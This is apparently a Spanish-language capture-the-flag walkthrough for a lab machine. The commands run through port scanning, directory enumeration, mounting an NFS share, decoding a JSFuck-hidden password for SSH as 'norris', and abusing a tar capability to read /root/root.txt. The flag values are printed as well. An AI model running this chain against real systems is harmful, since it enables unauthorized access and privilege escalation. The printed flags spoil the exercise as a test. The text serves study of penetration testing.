Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Gobuster

Utilizamos esta herramienta para escanear el puerto 80...

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.131/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 299]
/.htpasswd            (Status: 403) [Size: 299]
/backups              (Status: 200) [Size: 6301]
/images               (Status: 301) [Size: 319] [--> http://192.168.195.131/images/]
/javascript           (Status: 301) [Size: 323] [-->
http://192.168.195.131/javascript/]
/manual               (Status: 301) [Size: 319] [--> http://192.168.195.131/manual/]
/mysite               (Status: 301) [Size: 319] [--> http://192.168.195.131/mysite/]
/server-status        (Status: 403) [Size: 303]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Encontramos que hay un servicio `mount` corriendo...

```
showmount -e <IP>

sudo mount -o nolock <IP>:<RUTA_ENCONTRADA> <NUESTRA_RUTA_DONDE_EXPORTARLO>
```

Si todo salio bien podremos ver toda la carpeta que se esta compartiendo en ese puerto...

Si nos vamos a la siguiente ruta `/mysite/` vemos que nos descarga un archivo CS que dentro contiene una codificacion en `JSFuck`

Si lo decodificamos...

```
alert("You're smart enough to understand me. Here's your secret,
TryToGuessThisNorris@2k19")
```

Por lo que con esto nos conectaremos al ssh con esa contraseña con el usuario `norris`:

```
ssh norris@<IP> -p 7822
```

Leemos en la home de norris la primera flag:

> user.txt (flag1)

```
2c2836a138c0e7f7529aa0764a6414d0
```

Escalada de privilegios

Si metemos el siguiente comando podremos ver lo que podemos hacer con nuestro usuario en las capabilities con permisos de root por asi decirlo...

```
/sbin/getcap -r / 2>/dev/null
```

Info:

```
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep
```

Por lo que vemos el binario `tar` tiene la capabilitie activada para que nosotros tambien lo podamos usar con los permisos de "root"

Si nos movemos en la carpeta `/tmp/` y creamos un enlace directo a la flag de root...

```
ln -s /root/root.txt
```

Y aprovechando el binario que puede hacer como "root"...

```
LFILE=root.txt

tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
```

Y con esto podremos leer la flag de root:

> root.txt (flag2)

```
8fc9376d961670ca10be270d52eda423
```